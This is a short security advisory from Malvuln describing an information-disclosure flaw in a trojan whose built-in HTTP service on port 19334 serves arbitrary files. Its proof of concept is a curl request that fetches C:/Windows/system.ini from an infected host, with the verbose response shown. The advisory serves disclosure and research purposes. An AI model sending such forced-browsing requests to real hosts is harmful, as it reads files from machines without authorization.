HEUR:Trojan.MSIL.Agent.gen MVID-2022-0654 Information Disclosure

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txtContact: [email protected]: twitter.com/malvulnThreat: HEUR:Trojan.MSIL.Agent.genVulnerability: Information DisclosureDescription: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing.Family: AgentType: PE64MD5: bc2ccf92bea475f828dcdcb1c8f6cc92Vuln ID: MVID-2022-0654Disclosure: 11/09/2022Exploit/PoC:C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v  Trying 192.168.18.125:19334...  Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)  GET /c:/Windows/system.ini HTTP/1.1  Host: 192.168.18.125:19334  User-Agent: curl/7.83.1  Accept: */** Mark bundle as not supporting multiuse* HTTP 1.0, assume close after body  HTTP/1.0 200 OK  content-encoding: utf8  content-type: application/octet-stream  date: Tue, 08 Nov 2022 23:11:55 GMT  last-modified: Sat, 16 Jul 2016 07:45:35 GMT  content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini"; for 16-bit app support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci]* Closing connection 0Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).